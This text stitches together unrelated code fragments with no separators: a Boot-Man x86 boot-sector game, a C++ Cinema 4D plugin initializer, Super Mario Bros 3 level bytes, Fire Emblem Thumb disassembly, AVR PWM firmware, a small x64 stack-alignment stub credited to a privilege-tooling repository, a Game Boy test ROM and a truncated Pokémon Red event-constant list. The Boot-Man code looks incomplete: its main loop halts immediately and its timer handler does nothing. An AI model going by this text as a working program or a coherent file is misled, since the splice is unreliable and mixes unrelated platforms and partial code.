the original, the ghosts ; run at higher speeds than Pac-Man, while Pac-Man gets delayed slightly when eating and ghosts get delayed when moving ; through the tunnel connecting both sides of the maze. This leads to very interesting dynamics and strategies ; in the original that Boot-Man, by necessity, lacks. ; ; ; Boot-Man runs in text mode. It uses some of the graphical characters found in IBM codepage 437 for its objects: ; - Boot-Man itself is represented by the smiley face (☻), which is character 0x02 in the IBM charset ; - The Ghosts are represented by the infinity symbol (∞), which is character 0xec. These represent ; a ghost's eyes, with the ghost's body being represented simply by putting the character on a ; coloured background ; - The dots that represent Boot-Man's food are represented by the bullet character (•), ; which is character 0xf9 ; - The power pills with which Boot-Man gains extra powers are represented by the diamond (♦), ; which is character 0x04 ; - The walls of the maze are represented by the full block character (█), which is character 0xdb ; ; Boot-Man runs off int 8, which is connected to the timer interrupt. It should therefore run at the same speed ; on all PCs. It includes its own int 9 (keyboard) handler. The code is quite heavily optimized for size, so ; code quality is questionable at best, and downright atrocious at worst. org 0x7c00 ; The MBR is loaded at 0x0000:0x7c00 by the BIOS bits 16 ; Boot-Man runs in Real Mode. I am assuming that the BIOS leaves the CPU is Real Mode. ; This is true for the vast majority of PC systems. If your system's BIOS ; switches to Protected Mode or Long Mode during the boot process, Boot-Man ; won't run on your machine. start: cli ; Disable interrupts, as we are going to set up interrupt handlers and a stack xor ax, ax mov ds, ax ; Set up a data segment that includes the Interrupt Vector Table and the Boot-Man code mov [0], dl ; save the current drive number, which has been stored in dl by the BIOS mov ss, ax mov sp, 0x28 ; Set up a temporary stack, within the interrupt vector table push ax ; This saves some bytes when setting up interrupt vectors push word int9handler ; Set up my own int 9 (keyboard) handler push ax push word int8handler ; Set up my own int 8 (timer interrupr) handler mov sp, ax ; Set up the real stack. inc ax ; int 0x10 / ah = 0: Switch video mode. Switch mode to 40x25 characters (al = 1). mov ah, 2 int 0x10 ; In this mode, characters are approximately square, which means that horizontal ; and vertical movement speeds are almost the same. xchg bx, bx jmp $ int9handler: pusha in al, 0x60 ; We use the legacy I/O port for the keyboard. This code ; would also work in an IBM PC from almost 40 years ago ; This code converts al from scancode to movement direction. ; Input: 0x11 (W), 0x1e (A), 0x1f (S), 0x20 (D) ; Output: 0xce (up), 0xca (right), 0xc6 (down), 0xc2 (left) ; ; Other scancodes below 0x21 are also mapped onto a movement direction ; Starting input: 0x11 0x1e 0x1f 0x20 sub al, 0x21 ; 0xf0 0xfd 0xfe 0xff jnc intxhandler_end ; if al >= 0x21, ignore scancode; ; this includes key release events and al, 3 ; 0x00 0x01 0x02 0x03 shl al, 2 ; 0x00 0x04 0x08 0x0c neg al ; 0x00 0xfc 0xf8 0xf4 add al, 0xce ; 0xce 0xca 0xc6 0xc2 cmp al, [bootman_data + 2] ; If the new direction is the same as the current direction, ignore it jz intxhandler_end mov [bootman_data + 3], al ; Set new direction to the direction derived from the keyboard input int8handler: nop intxhandler_end: popa iret bootman_data: db 0x0f, 0x0f ; Boot-Man's x and y position db 0xca ; Boot-Man's direction db 0xca ; Boot-Man's future direction pace_counter: db 0x10 ghost_timer: db 0x0 ; if > 0 ghosts are invisible, and is counted backwards to 0 ghostdata: db 0xc2 ; 1st ghost, direction ghostpos: db 0x01, 0x01 ; x and y position ghostterrain: dw 0x0ff9 ; terrain underneath ghostfocus: db 0x0, 0x0 ; focus point for movement secondghost: db 0xce ; 2nd ghost, direction db 0x01, 0x17 ; x and y position dw 0x0ff9 ; terrain underneath db 0x0, 0x4 ; focus point for movement db 0xca ; 3rd ghost, direction db 0x1e, 0x01 ; x and y position dw 0x0ff9 ; terrain underneath db 0xfc, 0x0 ; focus point for movement db 0xce ; 4th ghost, direction db 0x1e, 0x17 ; x and y position dw 0x0ff9 ; terrain underneath db 0x4, 0x0 ; focus point for movement lastghost: bm_length equ ghostdata - bootman_data gh_length equ secondghost - ghostdata gh_offset_pos equ ghostpos - ghostdata gh_offset_terrain equ ghostterrain - ghostdata gh_offset_focus equ ghostfocus - ghostdata pace_offset equ pace_counter - bootman_data timer_offset equ ghost_timer - bootman_data ; The maze, as a bit array. Ones denote walls, zeroes denote food dots / corridors ; The maze is stored upside down to save one cmp instruction in buildmaze maze: dw 0xffff, 0x8000, 0xbffd, 0x8081, 0xfabf, 0x8200, 0xbefd, 0x8001 dw 0xfebf, 0x0080, 0xfebf, 0x803f, 0xaebf, 0xaebf, 0x80bf, 0xfebf dw 0x0080, 0xfefd, 0x8081, 0xbebf, 0x8000, 0xbefd, 0xbefd, 0x8001 dw 0xffff maze_length: equ $ - maze ; Collision detection flag. It is initialized by the code collision_detect: collision_offset equ collision_detect - bootman_data times 510 - ($ - $$) db 0 db 0x55 db 0xaa
// coding: ansii // // Copyright (C) 2012-2013, Niklas Rosenstein // All rights reserved. #include <pr1mitive/debug.h> #include "pr1mitive_serial.h" #include <pr1mitive/helpers.h> #include <pr1mitive/objects/BasePrimitiveData.h> #include <pr1mitive/activation.h> #include "menu.h" namespace pr1mitive { namespace objects { extern Bool register_room(); extern Bool register_proxy_generator(); } namespace splines { extern Bool register_complexspline_base(); extern Bool register_torusknot(); extern Bool register_randomwalk(); extern Bool register_splinechamfer(); } namespace shapes { extern Bool register_complexshape_base(); extern Bool register_pillow(); extern Bool register_seashell(); extern Bool register_jet_shape(); extern Bool register_umbilictorus(); extern Bool register_spintorus(); extern Bool register_teardrop(); extern Bool register_expression_shape(); } namespace tags { extern Bool register_axisalign_tag(); } namespace activation { Bool activation_start() { // Bases objects::BasePrimitiveData::static_init(); splines::register_complexspline_base(); shapes::register_complexshape_base(); // Objects objects::register_room(); objects::register_proxy_generator(); menu::root().AddSeparator(IDS_MENU_OBJECTS); shapes::register_jet_shape(); shapes::register_seashell(); shapes::register_pillow(); shapes::register_umbilictorus(); shapes::register_spintorus(); shapes::register_teardrop(); shapes::register_expression_shape(); // Splines splines::register_torusknot(); splines::register_splinechamfer(); splines::register_randomwalk(); // Tags tags::register_axisalign_tag(); return true; } Bool activation_msg(Int32 type, void* ptr) { return true; } void activation_end() { objects::BasePrimitiveData::static_deinit(); } }; // end namespace activation }; // end namespace pr1mitive
; Original address was $AEA3 ; World 5 ground Fortress bonus / boss room .word W5F1L ; Alternate level layout .word W5F1O ; Alternate object layout .byte LEVEL1_SIZE_04 | LEVEL1_YSTART_170 .byte LEVEL2_BGPAL_00 | LEVEL2_OBJPAL_08 | LEVEL2_XSTART_18 .byte LEVEL3_TILESET_02 | LEVEL3_VSCROLL_LOCKLOW | LEVEL3_PIPENOTEXIT .byte LEVEL4_BGBANK_INDEX(2) | LEVEL4_INITACT_NOTHING .byte LEVEL5_BGM_FORTRESS | LEVEL5_TIME_300 .byte $6C, $01, $3C, $10, $04, $00, $E7, $11, $0C, $00, $EC, $00, $2C, $01, $D4, $33 .byte $09, $80, $34, $08, $82, $35, $07, $80, $35, $09, $80, $35, $0B, $80, $36, $09 .byte $80, $37, $09, $80, $38, $09, $80, $2E, $06, $0F, $2E, $0C, $0F, $2F, $09, $0F .byte $04, $12, $EB, $2D, $10, $12, $E8, $2D, $36, $10, $92, $E1, $42, $54, $75, $1C .byte $33, $14, $70, $31, $38, $0D, $16, $23, $63, $FF
.thumb .syntax unified .org 0x00 sub_80057C0: @ 0x080057C0 push {r4, lr} add r3, r0, #0 @Move E_Face's Proc Pointer into r3 ldr r1, [r3, #0x30] @Load Word 0x30 of E_Face ldr r0, =0x807 and r1, r0 @ r1 = E_Face->FaceControl & 0b100000000111 cmp r1, #3 beq BossFacingLeft @ if r1 = 3 cmp r1, #3 bls NormalPortrait @ if r1 < 3 cmp r1, #5 beq _0800581C @ if r1 = 5 cmp r1, #5 bcc _08005814 @ if r1 < 5 sub r0, #7 cmp r1, r0 beq _08005824 @if only bit 11 is triggered adds r0, #1 cmp r1, r0 beq _0800582C @if bit 11 and 0 are triggered b _08005830 .pool NormalPortrait: @ if r1 < 3 cmp r1, #1 beq NormalFacingLeft @ If r1 = 1 cmp r1, #1 bhi NormalFacingRight @ If r1 > 1 ldr r0, CutInBoxFacingLeft @if r1 = 0 b _0800582E NormalFacingLeft: @ if r1 = 1 ldr r0, PortraitOAMNormalFacingLeft @ gUnknown_08591026 b _0800582E NormalFacingRight: ldr r0, PortraitOAMNormalFacingRight @ gUnknown_08591040 b _0800582E BossFacingLeft: ldr r0, _08005810 @ gUnknown_08591066 b _0800582E .align 2, 0 _08005810: .4byte gUnknown_08591066 _08005814: ldr r0, _08005818 @ gUnknown_0859108C b _0800582E .align 2, 0 _08005818: .4byte gUnknown_0859108C _0800581C: ldr r0, _08005820 @ gUnknown_085910BE b _0800582E .align 2, 0 _08005820: .4byte gUnknown_085910BE _08005824: ldr r0, _08005828 @ gUnknown_085910F0 b _0800582E .align 2, 0 _08005828: .4byte gUnknown_085910F0 _0800582C: ldr r0, _08005848 @ gUnknown_08591122 _0800582E: str r0, [r3, #0x38] _08005830: ldr r1, [r3, #0x30] movs r0, #0xf0 lsls r0, r0, #2 ands r1, r0 cmp r1, #0x80 beq _0800585A cmp r1, #0x80 bhi _0800584C cmp r1, #0x40 beq _08005856 b _08005866 .align 2, 0 _08005848: .4byte gUnknown_08591122 _0800584C: movs r0, #0x80 lsls r0, r0, #2 cmp r1, r0 beq _08005860 b _08005866 _08005856: movs r4, #0 b _0800586A _0800585A: movs r4, #0x80 lsls r4, r4, #3 b _0800586A _08005860: movs r4, #0xc0 lsls r4, r4, #4 b _0800586A _08005866: movs r4, #0x80 lsls r4, r4, #4 _0800586A: ldr r1, _08005890 @ gUnknown_0202A68C adds r0, r3, #0 adds r0, #0x40 ldrb r0, [r0] lsls r0, r0, #3 adds r0, r0, r1 ldr r1, [r0] lsrs r1, r1, #5 ldrh r2, [r0, #4] movs r0, #0xf ands r0, r2 lsls r0, r0, #0xc adds r1, r1, r0 adds r1, r1, r4 strh r1, [r3, #0x3c] pop {r4} pop {r0} bx r0 .align 2, 0 _08005890: .4byte gUnknown_0202A68C EArgs: .equ CutInBoxFacingLeft, EArgs @ 0x59100C, cut in portrait box .equ PortraitOAMNormalFacingLeft, CutInBoxFacingLeft+4 .equ PortraitOAMNormalFacingRight, PortraitOAMNormalFacingLeft+4
#include "tn13def.inc" .CSEG rjmp RESET ; Reset Handler reti ; IRQ0 Handler reti ; PCINT0 Handler rjmp TIMER ; Timer0 Overflow Handler reti ; EEPROM Ready Handler reti ; Analog Comparator Handler reti ; Timer0 CompareA Handler reti ; Timer0 CompareB Handler rjmp WATCHDOG ; Watchdog Interrupt Handler reti ; ADC Conversion Handler .CSEG RESET: ldi r16, low(RAMEND) ; Main program start out SPL, r16 ; Set Stack Pointer to top of RAM ; Set up pins ldi r16, 0b00000011 ; Set PORTB[1:0] for output out DDRB, r16 ldi r16, 0b00011100 ; Enable pull-up on PORTB[4:2] out PORTB, r16 ; Set up CLK prescaler ldi r16, (1 << CLKPCE) out CLKPR, r16 ldi r16, (0 << CLKPS3) | (0 << CLKPS2) | (0 << CLKPS1) | (0 << CLKPS0) out CLKPR, r16 ; Set up watchdog in r16, WDTCR ori r16, (1 << WDCE) out WDTCR, r16 ; 4 clock cycles to set WDT ldi r16, (1 << WDTIE) | (1 << WDP2) | (1 << WDP0) ; 0.5 s out WDTCR, r16 wdr ; Set up timer0 ldi r19, (1 << COM0A1) | (0 << COM0A0) | (0 << COM0B1) | (0 << COM0B0) | (1 << WGM01) | (1 << WGM00) ; Fast PWM with OCR0A ldi r18, (0 << COM0A1) | (0 << COM0A0) | (0 << COM0B1) | (0 << COM0B0) | (0 << WGM01) | (0 << WGM00) ; Normal mode out TCCR0A, r18 ldi r16, 0x00 ; 0 PWM out OCR0A, r16 mov r20, r16 ldi r16, (1 << TOIE0) ; Enable timer interrupt out TIMSK0, r16 ;ldi r16, (0 << WGM02) | (1 << CS02) | (0 << CS01) | (0 << CS00) ; 1/256 CLK for 146 Hz PWM @ 9.6 MHz CLK ldi r16, (0 << WGM02) | (0 << CS02) | (1 << CS01) | (1 << CS00) ; 1/64 CLK for 586 Hz PWM @ 9.6 MHz CLK out TCCR0B, r16 LOOP: B0: in r16, PINB andi r16, (1 << PORTB3) ; Pin 2 brne B1 ldi r20, 0x40 rjmp B3 B1: in r16, PINB andi r16, (1 << PORTB4) ; Pin 3 brne B2 ldi r20, 0x80 rjmp B3 B2: in r16, PINB andi r16, (1 << PORTB2) ; Pin 7 brne B3 ldi r20, 0xFF B3: sei sleep cli rjmp LOOP WATCHDOG: in r21, PORTB ldi r22, (1 << PORTB1) eor r21, r22 out PORTB, r21 reti TIMER: inc r23 ; Used for divider by 4 mov r24, r23 andi r24, 0xFC in r17, PORTB ; Read PORTB for special cases in r16, OCR0A ; Read current OCR0A value cp r16, r20 ; Compare OCR0A with R20 breq WRITE ; They are equal, nothing left to do brlo INCREASE ; brlo (unsigned) instead of brlt (signed) DECREASE: cpse r23, r24 ; Divider by 4 dec r16 ; Decrease OCR0A rjmp WRITE INCREASE: cpse r23, r24 ; Divider by 4 inc r16 ; Increase OCR0A WRITE: out OCR0A, r16 ; Write OCR0A cpi r16, 0x00 ; Special case ZERO breq SET_ZERO cpi r16, 0xFF ; Special case FULL breq SET_FULL out TCCR0A, r19 ; Start fast PWM reti SET_ZERO: andi r17, ~(1 << PORTB0) rjmp SET_OUT SET_FULL: ori r17, (1 << PORTB0) SET_OUT: out TCCR0A, r18 ; Stop fast PWM out PORTB, r17 reti
; This code is borrowed from https://github.com/paranoidninja/PIC-Get-Privileges extern run global alignstack segment .text alignstack: push rdi ; backup rdi since we will be using this as our main register mov rdi, rsp ; save stack pointer to rdi and rsp, byte -0x10 ; align stack with 16 bytes sub rsp, byte +0x20 ; allocate some space for our C function ; If we have a single params pointer argument in rcx, we should be able to just ; use it immediately in run() call run ; call the C function mov rsp, rdi ; restore stack pointer pop rdi ; restore rdi ret ; return where we left
.size 8000 .text@48 jp lstatint .text@100 jp lbegin .data@143 c0 .text@150 lbegin: ld a, 00 ldff(ff), a ld a, 30 ldff(00), a ld a, 01 ldff(4d), a stop, 00 ld a, ff ldff(45), a ld b, 91 call lwaitly_b ld hl, fe00 ld d, 10 ld a, d ld(hl++), a ld a, 08 ld(hl++), a inc l inc l ld a, d ld(hl++), a ld(hl++), a inc l inc l ld(hl++), a ld a, 18 ld(hl++), a inc l inc l ld a, d ld(hl++), a ld a, 20 ld(hl++), a inc l inc l ld a, d ld(hl++), a ld a, 28 ld(hl++), a inc l inc l ld a, d ld(hl++), a ld a, 30 ld(hl++), a inc l inc l ld a, d ld(hl++), a ld a, 38 ld(hl++), a inc l inc l ld a, d ld(hl++), a ld a, 40 ld(hl++), a inc l inc l ld a, d ld(hl++), a ld a, 48 ld(hl++), a inc l inc l ld a, d ld(hl++), a ld a, 4c ld(hl++), a ld a, 40 ldff(41), a ld a, 02 ldff(ff), a xor a, a ldff(0f), a ei ld a, 01 ldff(45), a ld c, 41 ld a, 93 ldff(40), a .text@1000 lstatint: nop .text@10a8 ldff a, (c) and a, 03 jp lprint_a .text@7000 lprint_a: push af ld b, 91 call lwaitly_b xor a, a ldff(40), a pop af ld(9800), a ld bc, 7a00 ld hl, 8000 ld d, a0 lprint_copytiles: ld a, (bc) inc bc ld(hl++), a dec d jrnz lprint_copytiles ld a, c0 ldff(47), a ld a, 80 ldff(68), a ld a, ff ldff(69), a ldff(69), a ldff(69), a ldff(69), a ldff(69), a ldff(69), a xor a, a ldff(69), a ldff(69), a ldff(43), a ld a, 91 ldff(40), a lprint_limbo: jr lprint_limbo .text@7400 lwaitly_b: ld c, 44 lwaitly_b_loop: ldff a, (c) cmp a, b jrnz lwaitly_b_loop ret .data@7a00 00 00 7f 7f 41 41 41 41 41 41 41 41 41 41 7f 7f 00 00 08 08 08 08 08 08 08 08 08 08 08 08 08 08 00 00 7f 7f 01 01 01 01 7f 7f 40 40 40 40 7f 7f 00 00 7f 7f 01 01 01 01 3f 3f 01 01 01 01 7f 7f 00 00 41 41 41 41 41 41 7f 7f 01 01 01 01 01 01 00 00 7f 7f 40 40 40 40 7e 7e 01 01 01 01 7e 7e 00 00 7f 7f 40 40 40 40 7f 7f 41 41 41 41 7f 7f 00 00 7f 7f 01 01 02 02 04 04 08 08 10 10 10 10 00 00 3e 3e 41 41 41 41 3e 3e 41 41 41 41 3e 3e 00 00 7f 7f 41 41 41 41 7f 7f 01 01 01 01 7f 7f
const_value = 0 const EVENT_FOLLOWED_OAK_INTO_LAB ; 000, (D747, bit 0) const EVENT_001 ; 001, (D747, bit 1) const EVENT_002 ; 002, (D747, bit 2) const EVENT_HALL_OF_FAME_DEX_RATING ; 003, (D747, bit 3) const EVENT_004 ; 004, (D747, bit 4) const EVENT_005 ; 005, (D747, bit 5) const EVENT_PALLET_AFTER_GETTING_POKEBALLS ; 006, (D747, bit 6) const EVENT_007 ; 007, (D747, bit 7) const EVENT_008 ; 008, (D748, bit 0) const EVENT_009 ; 009, (D748, bit 1) const EVENT_00A ; 00A, (D748, bit 2) const EVENT_00B ; 00B, (D748, bit 3) const EVENT_00C ; 00C, (D748, bit 4) const EVENT_00D ; 00D, (D748, bit 5) const EVENT_00E ; 00E, (D748, bit 6) const EVENT_00F ; 00F, (D748, bit 7) const EVENT_010 ; 010, (D749, bit 0) const EVENT_011 ; 011, (D749, bit 1) const EVENT_012 ; 012, (D749, bit 2) const EVENT_013 ; 013, (D749, bit 3) const EVENT_014 ; 014, (D749, bit 4) const EVENT_015 ; 015, (D749, bit 5) const EVENT_016 ; 016, (D749, bit 6) const EVENT_017 ; 017, (D749, bit 7) const EVENT_GOT_TOWN_MAP ; 018, (D74A, bit 0) const EVENT_ENTERED_BLUES_HOUSE ; 019, (D74A, bit 1) const EVENT_DAISY_WALKING ; 01A, (D74A, bit 2) const EVENT_01B ; 01B, (D74A, bit 3) const EVENT_01C ; 01C, (D74A, bit 4) const EVENT_01D ; 01D, (D74A, bit 5) const EVENT_01E ; 01E, (D74A, bit 6) const EVENT_01F ; 01F, (D74A, bit 7) const EVENT_FOLLOWED_OAK_INTO_LAB_2 ; 020, (D74B, bit 0) const EVENT_OAK_ASKED_TO_CHOOSE_MON ; 021, (D74B, bit 1) const EVENT_GOT_STARTER ; 022, (D74B, bit 2) const EVENT_BATTLED_RIVAL_IN_OAKS_LAB ; 023, (D74B, bit 3) const EVENT_GOT_POKEBALLS_FROM_OAK ; 024, (D74B, bit 4) const EVENT_GOT_POKEDEX ; 025, (D74B, bit 5) const EVENT_PALLET_AFTER_GETTING_POKEBALLS_2 ; 026, (D74B, bit 6) const EVENT_OAK_APPEARED_IN_PALLET ; 027, (D74B, bit 7) const EVENT_VIRIDIAN_GYM_OPEN ; 028, (D74C, bit 0) const EVENT_GOT_TM42 ; 029, (D74C, bit 1) const EVENT_02A ; 02A, (D74C, bit 2) const EVENT_02B ; 02B, (D74C, bit 3) const EVENT_02C ; 02C, (D74C, bit 4) const EVENT_02D ; 02D, (D74C, bit 5) const EVENT_02E ; 02E, (D74C, bit 6) const EVENT_02F ; 02F, (D74C, bit 7) const EVENT_030 ; 030, (D74D, bit 0) const EVENT_031 ; 031, (D74D, bit 1) const EVENT_032 ; 032, (D74D, bit 2) const EVENT_033 ; 033, (D74D, bit 3) const EVENT_034 ; 034, (D74D, bit 4) const EVENT_035 ; 035, (D74D, bit 5) const EVENT_036 ; 036, (D74D, bit 6) const EVENT_037 ; 037, (D74D, bit 7) const EVENT_OAK_GOT_PARCEL ; 038, (D74E, bit 0) const EVENT_GOT_OAKS_PARCEL ; 039, (D74E, bit 1) const EVENT_03A ; 03A, (D74E, bit 2) const EVENT_03B ; 03B, (D74E, bit 3) const EVENT_03C ; 03C, (D74E, bit 4) const EVENT_03D ; 03D, (D74E, bit 5) const EVENT_03E ; 03E, (D74E, bit 6) const EVENT_03F ; 03F, (D74E, bit 7) const EVENT_040 ; 040, (D74F, bit 0) const EVENT_041 ; 041, (D74F, bit 1) const EVENT_042 ; 042, (D74F, bit 2) const EVENT_043 ; 043, (D74F, bit 3) const EVENT_044 ; 044, (D74F, bit 4) const EVENT_045 ; 045, (D74F, bit 5) const EVENT_046 ; 046, (D74F, bit 6) const EVENT_047 ; 047, (D74F, bit 7) const EVENT_048 ; 048, (D750, bit 0) const EVENT_049 ; 049, (D750, bit 1) const EVENT_04A ; 04A, (D750, bit 2) const EVENT_04B ; 04B, (D750, bit 3) const EVENT_04C ; 04C, (D750, bit 4) const EVENT_04D ; 04D, (D750, bit 5) const EVENT_04E ; 04E, (D750, bit 6) const EVENT_04F ; 04F, (D750, bit 7) const EVENT_GOT_TM27 ; 050, (D751, bit 0) const EVENT_BEAT_VIRIDIAN_GYM_GIOVANNI ; 051, (D751, bit 1) const EVENT_BEAT_VIRIDIAN_GYM_TRAINER_0 ; 052, (D751, bit 2) const EVENT_BEAT_VIRIDIAN_GYM_TRAINER_1 ; 053, (D751, bit 3) const EVENT_BEAT_VIRIDIAN_GYM_TRAINER_2 ; 054, (D751, bit 4) const EVENT_BEAT_VIRIDIAN_GYM_TRAINER_3 ; 055, (D751, bit 5) const EVENT_BEAT_VIRIDIAN_GYM_TRAINER_4 ; 056, (D751, bit 6) const EVENT_BEAT_VIRIDIAN_GYM_TRAINER_5 ; 057, (D751, bit 7) const EVENT_BEAT_VIRIDIAN_GYM_TRAINER_6 ; 058, (D752, bit 0) const EVENT_BEAT_VIRIDIAN_GYM_TRAINER_7 ; 059, (D752, bit 1) const EVENT_05A ; 05A, (D752, bit 2) const EVENT_05B ; 05B, (D752, bit 3) const EVENT_05C ; 05C, (D752, bit 4) const EVENT_05D ; 05D, (D752, bit 5) const EVENT_05E ; 05E, (D752, bit 6) const EVENT_05F ; 05F, (D752, bit 7) const EVENT_060 ; 060, (D753, bit 0) const EVENT_061 ; 061, (D753, bit 1) const EVENT_062 ; 062, (D753, bit 2) const EVENT_063 ; 063, (D753, bit 3) const EVENT_064 ; 064, (D753, bit 4) const EVENT_065 ; 065, (D753, bit 5) const EVENT_066 ; 066, (D753, bit 6) const EVENT_067 ; 067, (D753, bit 7) const EVENT_BOUGHT_MUSEUM_TICKET ; 068, (D754, bit 0) const EVENT_GOT_OLD_AMBER ; 069, (D754, bit 1) const EVENT_06A ; 06A, (D754, bit 2) const EVENT_06B ; 06B, (D754, bit 3) const EVENT_06C ; 06C, (D754, bit 4) const EVENT_06D ; 06D, (D754, bit 5) const EVENT_06E ; 06E, (D754, bit 6) const EVENT_06F ; 06F, (D754, bit 7) const EVENT_070 ; 070, (D755, bit 0) const EVENT_071 ; 071, (D755, bit 1) const EVENT_BEAT_PEWTER_GYM_TRAINER_0 ; 072, (D755, bit 2) const EVENT_073 ; 073, (D755, bit 3) const EVENT_074 ; 074, (D755, bit 4) const EVENT_075 ; 075, (D755, bit 5) const EVENT_GOT_TM34 ; 076, (D755, bit 6) const EVENT_BEAT_BROCK ; 077, (D755, bit 7) const EVENT_078 ; 078, (D756, bit 0) const EVENT_079 ; 079, (D756, bit 1) const EVENT_07A ; 07A, (D756, bit 2) const EVENT_07B ; 07B, (D756, bit 3) const EVENT_07C ; 07C, (D756, bit 4) const EVENT_07D ; 07D, (D756, bit 5) const EVENT_07E ; 07E, (D756, bit 6) const EVENT_07F ; 07F, (D756, bit 7) const EVENT_080 ; 080, (D757, bit 0) const EVENT_081 ; 081, (D757, bit 1) const EVENT_082 ; 082, (D757, bit 2) const EVENT_083 ; 083, (D757, bit 3) const EVENT_084 ; 084, (D757, bit 4) const EVENT_085 ; 085, (D757, bit 5) const EVENT_086 ; 086, (D757, bit 6) const EVENT_087 ; 087, (D757, bit 7) const EVENT_088 ; 088, (D758, bit 0) const EVENT_089 ; 089, (D758, bit 1) const EVENT_08A ; 08A, (D758, bit 2) const EVENT_08B ; 08B, (D758, bit 3) const EVENT_08C ; 08C, (D758, bit 4) const EVENT_08D ; 08D, (D758, bit 5) const EVENT_08E ; 08E, (D758, bit 6) const EVENT_08F ; 08F, (D758, bit 7) const EVENT_090 ; 090, (D759, bit 0) const EVENT_091 ; 091, (D759, bit 1) const EVENT_092 ; 092, (D759, bit 2) const EVENT_093 ; 093, (D759, bit 3) const EVENT_094 ; 094, (D759, bit 4) const EVENT_095 ; 095, (D759, bit 5) const EVENT_096 ; 096, (D759, bit 6) const EVENT_097 ; 097, (D759, bit 7) const EVENT_BEAT_CERULEAN_RIVAL ; 098, (D75A, bit 0) const EVENT_099 ; 099, (D75A, bit 1) const EVENT_09A ; 09A, (D75A, bit 2) const EVENT_09B ; 09B, (D75A, bit 3) const EVENT_09C ; 09C, (D75A, bit 4) const EVENT_09D ; 09D, (D75A, bit 5) const EVENT_09E ; 09E, (D75A, bit 6) const EVENT_09F ; 09F, (D75A, bit 7) const EVENT_0A0 ; 0A0, (D75B, bit 0) const EVENT_0A1 ; 0A1, (D75B, bit 1) const EVENT_0A2 ; 0A2, (D75B, bit 2) const EVENT_0A3 ; 0A3, (D75B, bit 3) const EVENT_0A4 ; 0A4, (D75B, bit 4) const EVENT_0A5 ; 0A5, (D75B, bit 5) const EVENT_0A6 ; 0A6, (D75B, bit 6) const EVENT_BEAT_CERULEAN_ROCKET_THIEF ; 0A7, (D75B, bit 7) const EVENT_0A8 ; 0A8, (D75C, bit 0) const EVENT_0A9 ; 0A9, (D75C, bit 1) const EVENT_0AA ; 0AA, (D75C, bit 2) const EVENT_0AB ; 0AB, (D75C, bit 3) const EVENT_0AC ; 0AC, (D75C, bit 4) const EVENT_0AD ; 0AD, (D75C, bit 5) const EVENT_0AE ; 0AE, (D75C, bit 6) const EVENT_0AF ; 0AF, (D75C, bit 7) const EVENT_0B0 ; 0B0, (D75D, bit 0) const EVENT_0B1 ; 0B1, (D75D, bit 1) const EVENT_0B2 ; 0B2, (D75D, bit 2) const EVENT_0B3 ; 0B3, (D75D, bit 3) const EVENT_0B4 ; 0B4, (D75D, bit 4) const EVENT_0B5 ; 0B5, (D75D, bit 5) const EVENT_0B6 ; 0B6, (D75D, bit 6) const EVENT_0B7 ; 0B7, (D75D, bit 7) const EVENT_0B8 ; 0B8, (D75E, bit 0) const EVENT_0B9 ; 0B9, (D75E, bit 1) const EVENT_BEAT_CERULEAN_GYM_TRAINER_0 ; 0BA, (D75E, bit 2) const EVENT_BEAT_CERULEAN_GYM_TRAINER_1 ; 0BB, (D75E, bit 3) const EVENT_0BC ; 0BC, (D75E, bit 4) const EVENT_0BD ; 0BD, (D75E, bit 5) const EVENT_GOT_TM11 ; 0BE, (D75E, bit 6) const EVENT_BEAT_MISTY ; 0BF, (D75E, bit 7) const EVENT_GOT_BICYCLE ; 0C0, (D75F, bit 0) const EVENT_0C1 ; 0C1, (D75F, bit 1) const EVENT_0C2 ; 0C2, (D75F, bit 2) const EVENT_0C3 ; 0C3, (D75F, bit 3) const EVENT_0C4 ; 0C4, (D75F, bit 4) const EVENT_0C5 ; 0C5, (D75F, bit 5) const EVENT_0C6 ; 0C6, (D75F, bit 6) const EVENT_0C7 ; 0C7, (D75F, bit 7) const EVENT_0C8 ; 0C8, (D760, bit 0) const EVENT_0C9 ; 0C9, (D760, bit 1) const EVENT_0CA ; 0CA, (D760, bit 2) const EVENT_0CB ; 0CB, (D760, bit 3) const EVENT_0CC ; 0CC, (D760, bit 4) const EVENT_0CD ; 0CD, (D760, bit 5) const EVENT_0CE ; 0CE, (D760, bit 6) const EVENT_0CF ; 0CF, (D760, bit 7) const EVENT_0D0 ; 0D0, (D761, bit 0) const EVENT_0D1 ; 0D1, (D761, bit 1) const EVENT_0D2 ; 0D2, (D761, bit 2) const EVENT_0D3 ; 0D3, (D761, bit 3) const EVENT_0D4 ; 0D4, (D761, bit 4) const EVENT_0D5 ; 0D5, (D761, bit 5) const EVENT_0D6 ; 0D6, (D761, bit 6) const EVENT_0D7 ; 0D7, (D761, bit 7) const EVENT_0D8 ; 0D8, (D762, bit 0) const EVENT_0D9 ; 0D9, (D762, bit 1) const EVENT_0DA ; 0DA, (D762, bit 2) const EVENT_0DB ; 0DB, (D762, bit 3) const EVENT_0DC ; 0DC, (D762, bit 4) const EVENT_0DD ; 0DD, (D762, bit 5) const EVENT_0DE ; 0DE, (D762, bit 6) const EVENT_0DF ; 0DF, (D762, bit 7) const EVENT_0E0 ; 0E0, (D763, bit 0) const EVENT_0E1 ; 0E1, (D763, bit 1) const EVENT_0E2 ; 0E2, (D763, bit 2) const EVENT_0E3 ; 0E3, (D763, bit 3) const EVENT_0E4 ; 0E4, (D763, bit 4) const EVENT_0E5 ; 0E5, (D763, bit 5) const EVENT_0E6 ; 0E6, (D763, bit 6) const EVENT_0E7 ; 0E7, (D763, bit 7) const EVENT_0E8 ; 0E8, (D764, bit 0) const EVENT_0E9 ; 0E9, (D764, bit 1) const EVENT_0EA ; 0EA, (D764, bit 2) const EVENT_0EB ; 0EB, (D764, bit 3) const EVENT_0EC ; 0EC, (D764, bit 4) const EVENT_0ED ; 0ED, (D764, bit 5) const EVENT_POKEMON_TOWER_RIVAL_ON_LEFT ; 0EE, (D764, bit 6) const EVENT_BEAT_POKEMON_TOWER_RIVAL ; 0EF, (D764, bit 7) const EVENT_0F0 ; 0F0, (D765, bit 0) const EVENT_BEAT_POKEMONTOWER_3_TRAINER_0 ; 0F1, (D765, bit 1) const EVENT_BEAT_POKEMONTOWER_3_TRAINER_1 ; 0F2, (D765, bit 2) const EVENT_BEAT_POKEMONTOWER_3_TRAINER_2 ; 0F3, (D765, bit 3) const EVENT_0F4 ; 0F4, (D765, bit 4) const EVENT_0F5 ; 0F5, (D765, bit 5) const EVENT_0F6 ; 0F6, (D765, bit 6) const EVENT_0F7 ; 0F7, (D765, bit 7) const EVENT_0F8 ; 0F8, (D766, bit 0) const EVENT_BEAT_POKEMONTOWER_4_TRAINER_0 ; 0F9, (D766, bit 1) const EVENT_BEAT_POKEMONTOWER_4_TRAINER_1 ; 